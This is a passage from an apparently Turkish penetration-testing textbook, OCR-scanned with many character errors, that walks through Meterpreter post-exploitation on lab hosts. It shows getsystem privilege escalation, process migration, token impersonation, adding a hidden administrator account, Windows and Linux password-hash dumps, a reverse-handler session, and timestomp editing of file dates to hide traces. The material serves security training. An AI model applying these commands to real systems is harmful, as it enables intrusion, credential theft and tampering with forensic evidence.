udp 192.168.1.32:138 0.0.0.0:* 0 0 4/System

meterpreter > ps

Process List

PID PPID Name Arch Session User Path
0 0 [System Process] 4294967295

4 0 System x86 0 NT AUTHORITY\SYSTEM

228 3452 Adobe_Updater.exe x86 0 HACMEONE\Holden
C:\Program Files\Common Files\Adobe\Updater6\Adobe_Updater.exe

380 4 SmMss.exe x86 0 NT AUTHORITY\SYSTEM
\SystemRoot\System32\smss.exe

488 1224 cmd.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\system32\cmd.exe

496 700 msdtc.exe x86 0 NT AUTHORITY\NETWORK SERVICE
C:\WINDOWS\system32\msdtc.exe

532 380 csrss.exe x86 0 NT
AUTHORITY\SYSTEM \?2\C:\WINDOWS\system32\csrss.exe

656 380 winlogon.exe x86 0O NT
AUTHORITY\SYSTEM \?2?\C:\WINDOWS\system32\winlogon.exe

700 656 services.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\system32\services.exe

712 656 lsass.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\system32\lsass.exe

864 700 vmacthlp.exe x86 0 NT AUTHORITY\SYSTEM
C:\Program Files\VMware\VMware Tools\vmacthlp.exe

876 700 svchost.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\system32\svchost.exe

960 700 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE
C:\WINDOWS\system32\svchost.exe

996 700 alg.exe x86 0 NT AUTHORITY\LOCAL SERVICE
C:\WINDOWS\System32\alg.exe

1044 700 svchost.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\System32\svchost.exe

1100 700 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE
C:\WINDOWS\system32\svchost.exe
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1152 700 svchost.exe x86 0 NT AUTHORITY\LOCAL SERVICE
C:\WINDOWS\system32\svchost.exe

1400 700 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\system32\spoolsv.exe

1428 1980 notepad.exe x86 0 HACMEONE\Holden
C:\WINDOWS\System32\notepad.exe

1508 700 cisvc.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\system32\cisvc.exe

1544 3608 sqlmangr.exe x86 0 HACMEONE\Holden
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sglmangr.exe

1564 700 1inetinfo.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\system32\inetsrv\inetinfo.exe

1588 700 sqlservr.exe x86 0O NT AUTHORITY\SYSTEM
C:\Program Files\Microsoft SQL Server\MSSQL\Binn\sqlservr.exe

1668 700 dllhost.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\system32\dllhost.exe

1924 700 vmtoolsd.exe x86 0 NT AUTHORITY\SYSTEM
C:\Program Files\VMware\VMware Tools\vmtoolsd.exe

1968 2920 xspFG.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\TEMP\xspFG.exe

1980 3608 IEXPLORE.EXE x86 0 HACMEONE\Holden
C:\Program Files\Internet Explorer\iexplore.exe

2352 3608 vmtoolsd.exe x86 0O HACMEONE\Holden
C:\Program Files\VMware\VMware Tools\vmtoolsd.exe

2632 1564 davcdata.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\system32\inetsrv\DavCData.exe

2652 3608 IEXPLORE.EXE x86 0 HACMEONE\Holden
C:\Program Files\Internet Explorer\iexplore.exe

3140 3608 mmc.exe x86 0 HACMEONE\Holden
C:\WINDOWS\system32\mmc.exe

3164 3608 VMwareTray.exe x86 0 HACMEONE\Holden
C:\Program Files\VMware\VMware Tools\VMwareTray.exe

3512 3608 IEXPLORE.EXE x86 0 HACMEONE\Holden
C:\Program Files\Internet Explorer\iexplore.exe

3608 2824 explorer.exe x86 0 HACMEONE\Holden
C:\WINDOWS\Explorer.EXE

3672 1044 wscntfy.exe x86 0O HACMEONE\Holden
C:\WINDOWS\system32\wscntfy.exe

Meterpreter ile Hedeften Temel Bilgilerin Toplanmasi
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4.2.3 Yetki ve Siireg islemleri

Meterpreter ylklenmis bir hedefte her durumda istenen haklarla baglanilacaginin
teminati yoktur, hangi sure¢ exploit edilmis ise o surecin haklarl ile sisteme erisim
saglanmasi muhtemeldir. Bu noktada kullanilabilir yetkilerin yeterli olmamasi s6zkonusu
olursa getsystem komutu ile SYSTEM kullanicisi seviyesinde yetkilere kavusmak
mumkin olmaktadir. Yerel glvenlik aciklari kullanilarak yetki ylkseltme islemi igletim
sistemi ve surumlerine bagli olarak farkhliklar gostermektedir.

meterpreter > sysinfo

Computer : HACMEONE

0S : Windows XP (Build 2600, Service Pack 2).
Architecture : x86

System Language : tr_TR

Meterpreter ¢ x86/win32

meterpreter > getuid
Server username: HACMEONE\Holden
meterpreter > getsystem -h
Usage: getsystem [options]
Attempt to elevate your privilege to that of local system.
OPTIONS:

-h Help Banner.

-t <opt> The technique to use. (Default to '0').

0 : All techniques available

: Service - Named Pipe Impersonation (In Memory/Admin)
: Service - Named Pipe Impersonation (Dropper/Admin)
: Service - Token Duplication (In Memory/Admin)
: Exploit - KiTrap0D (In Memory/User)

A W N PR

meterpreter > getsystem

...got system (via technique 1).
meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM
meterpreter >

Meterpreter ile Windows isletim Sisteminde Yetki Yiikseltme

Kullanilan yerel guvenlik agiklari, isletim sistemlerinin yUklenecek yamalar ile
kapatilabilir ve kullanilabilecek guvenlik agigi bulunmuyor ise yetki kazanilmasi da
mumkun olmayabilir.

Ornegin PHP, Java ve Linux isletim sistemi icin hazirlanan Meterpreter'in an itibariyle
yetki ylkseltme secenekleri bulunmamaktadir. PHP ve Java bulunduklari platform
nedeniyle, Linux modulu ise henuz sistem cekirdedi ve yerel setuid uygulama agiklarinin
kullanimi kodlanmadigindan bu 6zellige sahip degildir.
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meterpreter > sysinfo

Computer : hacmelinux

0S : Linux hacmelinux 3.4.9-030409-generic #201208151135 SMP Wed Aug 15
15:36:29 UTC 2012 (x86_64)

Architecture : x86_64

Meterpreter : x86/1linux

meterpreter > getuid

Server username: uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000
meterpreter > getsystem

[-] Unknown command: getsystem.

Linux isletim Sisteminde Meterpreter ile Yetki Yiikseltme Yapilamamasi

Meterpreter'in yuklu oldugu kullanici ve sirecin durumu, varolan oturum durumu ile
baglantihdir. Ana sidrecin sonlanmasi durumunda, alt slre¢ olarak c¢alismakta olan
Meterpreter da sonlanacak ve oturum kaybedilecektir. Ozellikle toplu web tarayic
aclklar veya dosya Uretme aciklari sozkonusu ise tum Meterpreter oturumlarinin anlk
es zamanh yonetimi mUmkdn olmayabilir. Bu tur oturum kayiplarini 6nlemek igin
Meterpreter'in temel komutlarindan biri olan migrate 6zelligi kullanilmaktadir. Oturumun
surekliligi icin, sunucu galistigi surece kapatilmayacak ve tercihen servis olan bir sure¢
secilmelidir. Sureg listesi alinmasi i¢cin ps komutu kullanilabilir ve gorulecek sureg
numarasi kullanilarak migrate komutu verilir, boylece ilgili strecin alt sureci olunur ve
daha sirekli bir oturum kazanilmis olur. Ornekte 1980 siire¢ numarali Internet Explorer
yerine, 1544 numarali Microsoft SQL servisi tercih edilmis ve sunucu ¢alistigi surece
oturumu kaybetmeme ihtimali guclendirilmigtir. Bu 6zelligin bir diger kullanim sebebi de
secilecek surecin erisebildigi bir kaynaga erisilememesi durumudur, boylece yeni slreg¢
ile beraber o kaynaga da erisim saglanabilir.

meterpreter > ps ax

Process List

PID PPID Name Arch Session User Path
0 0 [System Process] 4294967295

4 0 System x86 0 NT AUTHORITY\SYSTEM
228 3452 Adobe_Updater.exe x86 0 HACMEONE\Holden
C:\Program Files\Common Files\Adobe\Updater6\Adobe_Updater.exe

380 4 SMSS.exe x86 0 NT AUTHORITY\SYSTEM
\SystemRoot\System32\smss.exe

452 1044 notepad.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\System32\notepad.exe

488 1224 cmd.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\system32\cmd.exe
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496 700 msdtc.exe x86 0 NT AUTHORITY\NETWORK SERVICE
C:\WINDOWS\system32\msdtc.exe

532 380 csrss.exe x86 0 NT
AUTHORITY\SYSTEM \?2?\C:\WINDOWS\system32\csrss.exe

656 380 winlogon.exe x86 0 NT
AUTHORITY\SYSTEM \?2?\C:\WINDOWS\system32\winlogon.exe

700 656 services.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\system32\services.exe

712 656 lsass.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\system32\lsass.exe

864 700 vmacthlp.exe x86 0 NT AUTHORITY\SYSTEM
C:\Program Files\VMware\VMware Tools\vmacthlp.exe

876 700 svchost.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\system32\svchost.exe

960 700 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE
C:\WINDOWS\system32\svchost.exe

996 700 alg.exe x86 0 NT AUTHORITY\LOCAL SERVICE
C:\WINDOWS\System32\alg.exe

1044 700 svchost.exe x86 0O NT AUTHORITY\SYSTEM
C:\WINDOWS\System32\svchost.exe

1100 700 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE
C:\WINDOWS\system32\svchost.exe

1152 700 svchost.exe x86 0 NT AUTHORITY\LOCAL SERVICE
C:\WINDOWS\system32\svchost.exe

1400 700 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\system32\spoolsv.exe

1428 1980 notepad.exe x86 0O HACMEONE\Holden
C:\WINDOWS\System32\notepad.exe

1508 700 cisvc.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\system32\cisvc.exe

1544 3608 sqglmangr.exe x86 0 HACMEONE\Holden
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sglmangr.exe

1564 700 inetinfo.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\system32\inetsrv\inetinfo.exe

1588 700 sqlservr.exe x86 0 NT AUTHORITY\SYSTEM
C:\Program Files\Microsoft SQL Server\MSSQL\Binn\sqlservr.exe

1668 700 dllhost.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\system32\dllhost.exe

1924 700 vmtoolsd.exe x86 0 NT AUTHORITY\SYSTEM
C:\Program Files\VMware\VMware Tools\vmtoolsd.exe

1968 2920 xspFG.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\TEMP\xspFG.exe

1980 3608 IEXPLORE.EXE x86 0 HACMEONE\Holden
C:\Program Files\Internet Explorer\iexplore.exe

2352 3608 vmtoolsd.exe x86 0 HACMEONE\Holden
C:\Program Files\VMware\VMware Tools\vmtoolsd.exe

2632 1564 davcdata.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\system32\inetsrv\DavCData.exe

2652 3608 IEXPLORE.EXE x86 0 HACMEONE\Holden
C:\Program Files\Internet Explorer\iexplore.exe

3140 3608 mmc.exe x86 0 HACMEONE\Holden
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C:\WINDOWS\system32\mmc.exe

3164 3608 VMwareTray.exe x86 0O HACMEONE\Holden
C:\Program Files\VMware\VMware Tools\VMwareTray.exe

3276 656 logon.scr x86 0O HACMEONE\Holden
C:\WINDOWS\system32\logon.scr

3512 3608 TIEXPLORE.EXE x86 0 HACMEONE\Holden
C:\Program Files\Internet Explorer\iexplore.exe

3608 2824 explorer.exe x86 0 HACMEONE\Holden
C:\WINDOWS\Explorer.EXE

3672 1044 wscntfy.exe x86 0O HACMEONE\Holden

C:\WINDOWS\system32\wscntfy.exe

meterpreter > getpid

Current pid: 1980

meterpreter > migrate 1544

[*] Migrating to 1544...

[*] Migration completed successfully.
meterpreter > getpid

Current pid: 1544

Meterpreter ile Ana Sireci Degistrerek Bagka Bir Stirece Alt Stire¢ Olmak

Ayrica run komutu ile caligtirilan ve benzer bir gorevi icra eden migrate betigi daha
vardir, otomatize bigimde bagka bir strecin parcasi olmayi icermektedir. Genellikle toplu
ele gegirmelerde veya Meterpreter'| hizlica ana suregten kurtarma amaciyla kullanilir.
Varolan sureci 6ldurme, bagka bir strece alt stire¢ olma veya yeni bir sireg olusturarak o
surece alt slre¢ olma Ozellikleri vardir. Bir Meterpreter script'i oldugu i¢in koduna
bakarak, verilmis olan komutlari gormek ve yeni komutlar eklemek mumkunddar.
Meterpreter script'lerine ve kullanim 6zelliklerine ilerleyen boélumlerde ayrica
deginilecektir.

meterpreter > run migrate -h

OPTIONS:
-f Launch a process and migrate into the new process
-h Help menu.
-k Kill original process.

-n <opt> Migrate into the first process with this executable name (explorer.exe)
-p <opt> PID to migrate to.
meterpreter > getpid
Current pid: 1544
meterpreter > run migrate -f
[*] Current server process: sqlmangr.exe (1544)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2044
[+] Successfully migrated to process
meterpreter > getpid
Current pid: 2044

Meterpreter Scripti Migrate ile Yeni Bir Strecin Alt Streci Olmak
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Yetki yukseltme ve degistirme islemleri icin kullanilabilecek 6nemli bir modul de
incognito'dur. Bu modul kullanilarak kullanicinin yetki jetonlari listelenebilir, bir yetki
jetonu alinabilir, sisteme erisilebilir yetki jetonlarina sahip bir kullanici eklenebilir veya bir
alan kullanicisi eklenebilir. Ozel yetki yiikseltme veya veri erigimi igin kritik bir gereklilige

sahip olmaktadir.

meterpreter > getuid

Server username: HACMEONE\hacme

meterpreter > getpid

Current pid: 2704

meterpreter > load incognito

Loading extension incognito...success.

meterpreter > list_tokens -u

[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM

Delegation Tokens Available

HACMEONE\hacme

Impersonation Tokens Available

No tokens available

meterpreter > list_tokens -g

[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM

Delegation Tokens Available

No tokens available

Impersonation Tokens Available

No tokens available

meterpreter > ps ax
Process List

PID PPID Name Arch Session User Path
0 0 [System Process] 4294967295
4 0 System 4294967295
380 4 SMSS.exe 4294967295
452 1044 notepad.exe 4294967295
488 1224 cmd.exe 4294967295
496 700 msdtc.exe 4294967295
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532 380 csrss.exe 4294967295

656 380 winlogon.exe 4294967295

700 656 services.exe 4294967295

712 656 lsass.exe 4294967295

864 700 vmacthlp.exe 4294967295

876 700 svchost.exe 4294967295

960 700 svchost.exe 4294967295

996 700 alg.exe 4294967295

1044 700 svchost.exe 4294967295

1100 700 svchost.exe 4294967295

1152 700 svchost.exe 4294967295

1372 1044 wscntfy.exe x86 0 HACMEONE\hacme
C:\WINDOWS\system32\wscntfy.exe

1400 700 spoolsv.exe 4294967295

1508 700 cisvc.exe 4294967295

1564 700 1inetinfo.exe 4294967295

1588 700 sqlservr.exe 4294967295

1668 700 dllhost.exe 4294967295

1752 700 msiexec.exe 4294967295

1924 700 vmtoolsd.exe 4294967295

1968 2920 xspFG.exe 4294967295

2152 3276 reader_sl.exe x86 0O HACMEONE\hacme
Files\Adobe\Reader 9.0\Reader\Reader_s1l.exe

2196 3276 vmtoolsd.exe x86 0 HACMEONE\hacme
Files\VMware\VMware Tools\vmtoolsd.exe

2568 3276 sqlmangr.exe x86 0 HACMEONE\hacme

Files\Microsoft SQL Server\80\Tools\Binn\sglmangr.exe

2632 1564 davcdata.exe 4294967295

2704 3276 IEXPLORE.EXE x86 0 HACMEONE\hacme
Files\Internet Explorer\iexplore.exe

3008 3276 VMwareTray.exe x86 0O HACMEONE\hacme
Files\VMware\VMware Tools\VMwareTray.exe

3276 3600 explorer.exe x86 0 HACMEONE\hacme

meterpreter > migrate 1588
[*] Migrating to 1588...

[-] Error running command migrate: Rex::RuntimeError Cannot migrate into this process

(insufficient privileges)

meterpreter > getprivs

Enabled Process Privileges

SeShutdownPrivilege
SeChangeNotifyPrivilege
SeUndockPrivilege

meterpreter > getsystem
...got system (via technique 4).

C:\Program
C:\Program

C:\Program

C:\Program

C:\Program

C:\WINDOWS\Explorer.EXE
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meterpreter > getprivs

Enabled Process Privileges

SeDebugPrivilege
SeTcbPrivilege
SeCreateTokenPrivilege
SeAssignPrimaryTokenPrivilege
SeLockMemoryPrivilege
SeIncreaseQuotaPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeSystemtimePrivilege
SeProfileSingleProcessPrivilege
SeIncreaseBasePriorityPrivilege
SeCreatePagefilePrivilege
SeCreatePermanentPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeShutdownPrivilege
SeAuditPrivilege
SeSystemEnvironmentPrivilege
SeChangeNotifyPrivilege
SeUndockPrivilege
SeManageVolumePrivilege

meterpreter > list_tokens -u
Delegation Tokens Available

HACMEONE\hacme

HACMEONE\ IWAM_HACMEONE

NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available

NT AUTHORITY\ANONYMOUS LOGON

meterpreter > list_tokens -g
Delegation Tokens Available

BUILTIN\Administrators
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE

Impersonation Tokens Available

No tokens available
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meterpreter > impersonate_token 'BUILTIN\Administrators'
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM

meterpreter > list_tokens -g

Delegation Tokens Available

BUILTIN\Administrators
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE

Impersonation Tokens Available

No tokens available

meterpreter > add_user -h
Usage: add_user <username> <password> [options]

Attempts to add a user to a host with all accessible tokens. Terminates when successful,
an error that is not access denied occurs (e.g. password does not meet complexity
requirements) or when all tokens are exhausted

OPTIONS:
-h <opt> Add user to remote host

meterpreter > add_user gamasectest gamasec
[*] Attempting to add user gamasectest to host 127.0.0.1
[+] Successfully added user

meterpreter > add_group_user -h
Usage: add_group_user <groupname> <username> [options]

Attempts to add a user to a global group on a host with all accessible tokens.
Terminates when successful, an error that is not access denied occurs (e.g. user not
found) or when all tokens are exhausted

OPTIONS:
-h <opt> Add user to global group on remote host

meterpreter > add_localgroup_user administrators gamasectest
[*] Attempting to add user gamasectest to localgroup administrators on host 127.0.0.1
[+] Successfully added user to local group

Meterpreter Incognito Moduli Kullanimi
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Sistemde erigilebilir parola 6zetleri de yetki ylkseltme veya agdaki diger kaynaklara
erisim igin onem tasimaktadir. Windows igin Meterpreter'in priv eklentisi ile hashdump
komutu kullanilabilir hale gelmektedir. Eger hashdump komutu kullanirsa, Windows
isletim sistemlerinde yer alan SAM veritabanindan kullanici parola 6zetleri dokulecektir.
Bu islem icin SYSTEM kullanicisi haklarina sahip olmak gerekmektedir; yetkisiz
kullanicilar igin yetki yUkseltme agiklari veya yetki jetonu c¢alinmasi ile bu yetkilere
ulasilabilir.

Alinacak kullanici parola 6zetlerinin iki sekilde kullanimi mimkanddr; parolalar kirilabilir
veya daha sonra anlatilacagl uzere dogrudan bir Windows sisteme giris yapmak igin
kullanilabilir. Windows kullanici parolalari, 6zellikle gok sayida sisteme yonelik sistem
sizma testi yapiliyorsa oldukga faydali olmakta ve glvenlik acigi barindirmayan
sistemlere girmeyi de kolaylastirmaktadir.

meterpreter > hashdump
Administrator:500:8aa9c60b53f72250aad3b435b51404ee:de43644c485ccb71250df2498410cbba: ::
ASPNET:1007:59dca738ffc29cea3a6c0c7aal618850:554e05a92a25de69e8271d1dc5ebf6es: : :
gamasec:1004:83a9c60b53f72250aad3b435b51404ee:de43644c485ccb71250df2498410cbba: :
gamasectest:1010:8aa9c60b53f72250aad3b435b51404ee:de43644c485ccb71250df2498410cbba: ::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089cO: : :
hacme:1009:42d9795ccbf0445eaad3b435b51404ee:3e3a37f6ed7de88bf26305ab0cOcfOal3:::
HelpAssistant:1000:cb29d350ac17ddf2ec87c78080e896ed:6a46603615c572a613888ef12dd1c3b3:::
Holden:1003:42d9795ccbf0445eaad3b435b51404ee:3e3a37f6ed7de88bf26305ab0cOcfOa3:::
TUSR_HACMEONE:1005:bf75996d0aa7467cf3c8c7f3b33ebadf:2d68c05020fcbee77d548fbd8fa7be3c: ::
IWAM_HACMEONE:1006:c2bde81ffacf96d5054f006b655b98fe:c1cb9a58b3331160679e13a721a17d2e: ::
SUPPORT_388945a30:1002:aad3b435b51404eeaad3b435b51404ee:5a805c3581ca5c995bf1844af322267c:

Meterpreter Hashdump Modiilli ile Windows Kullanicilari Parola Ozetlerinin Dékilmesi

Windows isletim sisteminden kullanici parolalarini dokmek igin kullanilan hashdump
komutu priv modulinun pargasidir ve 6zel yetkili islemler yapmaktadir. Meterpreter post
modulleri ise Meterpreter'in Ruby dili destegini kullanarak hazirlanmig betiklerdir. Linux
veya Mac OS X igletim sisteminde kullanici parolalarinin alinmasi post modulleri
araciligiyla mimkun olmaktadir. Ruby ile yazilmis olan post/linux/gather/hashdump ve
post/osx/gather/hashdump moddlleri ardisik islemlerdir. Kodlari incelendiginde yapilan
islemin sadece birgok dosya igeriginin alinmasi ve ekrana gonderilmesi oldugu
gorulecektir. Bu noktada onemli olan konu, ilgili dosyalara erigim igin “root” kullanicisi
haklarina sahip olunmasi gerekliligidir. Yetki yUkseltme acgiklari sayesinde normal
kullanicilar “root” haklarina kavustuktan sonra bu modiiller islevsel olacaktir.
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msf post(hashdump) > use exploit/multi/handler
msf exploit(handler) > exploit -j

[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.11:5555

[*] Starting the payload handler...

[*] Transmitting intermediate stager for over-sized stage...(100 bytes)

[*] Sending stage (1126400 bytes) to 192.168.1.11

[*] Meterpreter session 7 opened (192.168.1.11:5555 -> 192.168.1.31:45030) at 2012-09-19
15:43:01 +0300

msf post(hashdump) > sessions

Active sessions

Id Type Information
Connection

7 meterpreter x86/1linux uid=0, gid=0, euid=0, egid=0, suid=0, sgid=0 @ holdenus
192.168.1.11:5555 -> 192.168.1.31:45030 (192.168.1.31)

msf exploit(handler) > use post/linux/gather/hashdump
msf post(hashdump) > info

Name: Linux Gather Dump Password Hashes for Linux Systems
Module: post/linux/gather/hashdump
Version: 14774
Platform: Linux
Arch:
Rank: Normal

Provided by:
Carlos Perez <carlos_perez@darkoperator.com>

Description:
Post Module to dump the password hashes for all users on a Linux
System

msf post(hashdump) > show options

Module options (post/linux/gather/hashdump):

Name Current Setting Required Description

SESSION 7 yes The session to run this module on.
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msf post(hashdump) > set SESSION 7
SESSION => 7

msf post(hashdump) > run

[+] root:
$156tjQPbYb$6p34Q4.16/qDKzI97j.QUFNZ8ZmxhGOJ.1ZSghluZvwi0SgPSIHjg/:0:0:root:/root:/bin/ba
sh

[+] holden:
$1SuoToIIpQ$NzgDeWEUX.rROI6R/pms.BBoutUV.C1Gy9kg7456zyw2da9.InnqFH2xFJ0. : 1000:1000:holde
n,,,:/home/holden:/bin/bash

[+] Unshadowed Password File:
Jroot/.msf4/1loot/20120919154319_default_192.168.1.31_linux.hashes_909586. txt

[*] Post module execution completed

Meterpreter Hashdump Modiilii ile Linux Kullanicilari Parola Ozetlerinin Dékilmesi
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4.2.4 Dosya Sistemi igslemleri

Hedef sisteme Meterpreter yuklendikten sonra stdapi araciligiyla dosya islemleri
yapilabilmeye baslanmaktadir. Dosya listeleme, silme, dizin degistirme, dosya indirme
ve dosya gonderimi gibi islemler kullanilabilir olacaktir. Hedef sistemde iz birakmasi
nedeniyle dosya gonderimi, dizin olusturma gibi diske yazacak iglemler tavsiye
edilmemektedir. Asagida yapilan bazi dosya islemleri érnekleri gorilebilmektedir.

meterpreter > cd \

meterpreter > 1s

Listing: C:\

Mode Size Type Last modified

100777 /rwxrwxrwx O fil 2008-12-03 18:48:10 +0200
100777 /rwxrwxrwx 35124856 fil 2012-09-18 15:16:44 +0300
100444 /r--r--r-- 4952 fil 2001-11-22 17:00:00 +0200
100666/rw-rw-rw- 0 fil 2008-12-03 18:48:10 +0200
40777 [rwxrwxrwx 0 dir 2012-09-18 18:50:20 +0300
100444/r--r--r-- 0 fil 2008-12-03 18:48:10 +0200
40777 /rwxrwxrwx O dir 2011-07-26 16:06:45 +0300
40777 [rwxrwxrwx 0 dir 2011-07-26 16:07:10 +0300
100444 /r--r--r-- 0 fil 2008-12-03 18:48:10 +0200
100555/r-xr-xr-x 47564 fil 2004-08-04 00:38:34 +0300
40555/r-xr-xr-x 0 dir 2012-09-18 15:31:40 +0300
40777 [rwxrwxrwx 0 dir 2009-01-14 21:31:42 +0200
40777 [rwxrwxrwx 0 dir 2011-07-26 16:06:45 +0300
40777 /rwxrwxrwx 0 dir 2012-09-13 18:15:40 +0300
100666/rw-rw-rw- 211 fil 2008-12-03 18:42:23 +0200
40777 [rwxrwxrwx 0 dir 2012-08-10 16:21:01 +0300
ede9a30bbofc3b4cd90abde67fb6

100666/rw-rw-rw- 618013 fil 2012-09-18 15:30:22 +0300
100666/rw-rw-rw- 10296 fil 2012-09-18 15:26:58 +0300
100444 /r--r--r-- 250032 fil 2004-08-04 00:59:58 +0300
100666/rw-rw-rw- 1610612736 fil 2012-09-13 18:19:41 +0300
40777 /rwxrwxrwx 0 dir 2012-09-19 18:10:21 +0300
meterpreter > cd test

meterpreter > 1s

Listing: C:\test

Mode Size Type Last modified Name
40777 /rwxrwxrwx O dir 2012-09-19 18:10:21 +0300

Name

AUTOEXEC.BAT
AdbeRdr90_en_US.exe
Bootfont.bin
CONFIG.SYS

Documents and Settings
10.SYS

Inetpub

MSDERelA

MSDOS. SYS

NTDETECT.COM

Program Files

RECYCLER

System Volume Information
WINDOWS

boot.ini

evil.pdf
msf.doc
ntldr
pagefile.sys
test
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40777 [rwxrwxrwx 0 dir 1980-01-01 01:00:00 +0300
100666/rw-rw-rw- 14 fil 2012-09-19 18:10:26 +0300 testicrigi.txt.txt
meterpreter > cat testicrigi.txt.txt
test icerigi
meterpreter > download testicrigi.txt.txt
[*] downloading: testicrigi.txt.txt -> testicrigi.txt.txt
[*] downloaded : testicrigi.txt.txt -> testicrigi.txt.txt
meterpreter > pwd
C:\test
meterpreter > mkdir deneme
Creating directory: deneme
meterpreter > cd \deneme
meterpreter > upload -h
Usage: upload [options] srcl src2 src3 ... destination
Uploads local files and directories to the remote machine.
OPTIONS:

-h Help banner.
-r Upload recursively.
meterpreter > upload /tmp/yukle.txt ./
[*] uploading : /tmp/yukle.txt -> ./
[*] uploaded . /tmp/yukle.txt -> ./\yukle.txt
meterpreter > 1s
Listing: C:\test\deneme
Mode Size Type Last modified Name
40777 /rwxrwxrwx O dir 2012-09-19 18:12:50 +0300
40777 [rwxrwxrwx 0 dir 2012-09-19 18:12:50 +0300
100666/rw-rw-rw- 7 fil 2012-09-19 18:13:38 +0300 yukle.txt
meterpreter > cat yukle.txt
deneme
meterpreter > rm yukle.txt
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meterpreter > s
Listing: C:\test\deneme

Mode Size Type Last modified Name

40777 /rwxrwxrwx 0 dir 2012-09-19 18:13:38 +0300
40777 /rwxrwxrwx O dir 2012-09-19 18:12:50 +0300

meterpreter > cd ..

meterpreter > rmdir deneme
Removing directory: deneme

Meterpreter ile Dosya Islemleri

Bir hedefe Meterpreter yulkledikten sonra yapilabilecek ¢ok sayida islem vardir ancak
unutulmamasi gereken en 6nemli konu iz birakmamaktir, bu nedenle gerekmedikce
diske yazilmamasi onerilmektedir. Diske yazildigi durumda Meterpreter'in timestomp
komutu ile NTFS dosya sistemine uygun olarak dosya tarihleri gosterilebilir ve
degistirilebilir. Boylece bir dosyayl hedef sisteme ylklemek ve ¢ok onceden bugune
orada oldugu izlenimini vermek, hedeften bir dosyayi alarak erisim tarihini yeniden
dizenleyerek erisimemis olmasini saglamak veya bir dosyayl duzenleyerek
dizenlenmemis izlenimi vermek mumkundir. Asagidaki ornekte, dosya sistemine
yuklenen bir dosya igin son degistirilme tarihi bir giin oncesine alinmistir.

meterpreter > upload /tmp/yukle.txt ./
[*] uploading : /tmp/yukle.txt -> ./
[*] uploaded . /tmp/yukle.txt -> ./\yukle.txt

meterpreter > 1s
Listing: C:\test

Mode Size Type Last modified Name

40777 /rwxrwxrwx 0 dir 2012-09-19 18:19:06 +0300

40777 [rwxrwxrwx 0 dir 1980-01-01 01:00:00 +0300 ..
100666/rw-rw-rw- 23 fil 2012-09-19 18:15:33 +0300 testicrigi.txt.txt
100666/rw-rw-rw- 7 fil 2012-09-19 18:19:06 +0300 yukle.txt

meterpreter > timestomp -h
Usage: timestomp file_path OPTIONS
OPTIONS:
-a <opt> Set the "last accessed" time of the file
-b Set the MACE timestamps so that EnCase shows blanks
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-C <opt>
-e <opt>
-f <opt>

-m <opt>

-z <opt>

meterpreter >
Modified
Accessed
Created

meterpreter >
Modified
Accessed
Created

Set the "creation" time of the file

Set the "mft entry modified" time of the file
Set the MACE of attributes equal to the supplied file

Help banner
Set the "last written" time of the file

Set the MACE timestamps recursively on a directory

Display the UTC MACE values of the file
Set all four attributes (MACE) of the file

timestomp yukle.txt -v

: 2012-09-19 19:19:06 +0300
: 2012-09-19 19:19:06 +0300
: 2012-09-19 19:19:06 +0300

Entry Modified: 2012-09-19 19:19:06 +0300

meterpreter > timestomp yukle.txt -m "09/18/2012 19:19:06"
[*] Setting specific MACE attributes on yukle.txt

timestomp yukle.txt -v

: 2012-09-18 20:19:06 +0300
: 2012-09-19 19:19:06 +0300
¢ 2012-09-19 19:19:06 +0300

Entry Modified: 2012-09-19 19:19:06 +0300

Meterpreter'da Timestomp Komutu ile NTFS'te Dosya Tarihlerinin Degistirilmesi
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4.3 Meterpreter ile Script Kullanimi

Meterpreter dahili fonksiyonlarini ve moddullerini Ruby dili ile erigilebilir olarak
sunmaktadir. Ruby dili ile Meterpreter'in tim 6zelliklerine ulasmak mumkun olmaktadir,
bu nedenle sizilmig bir hedefte otomatize edilecek igslemler icin Ruby script'leri siklikla
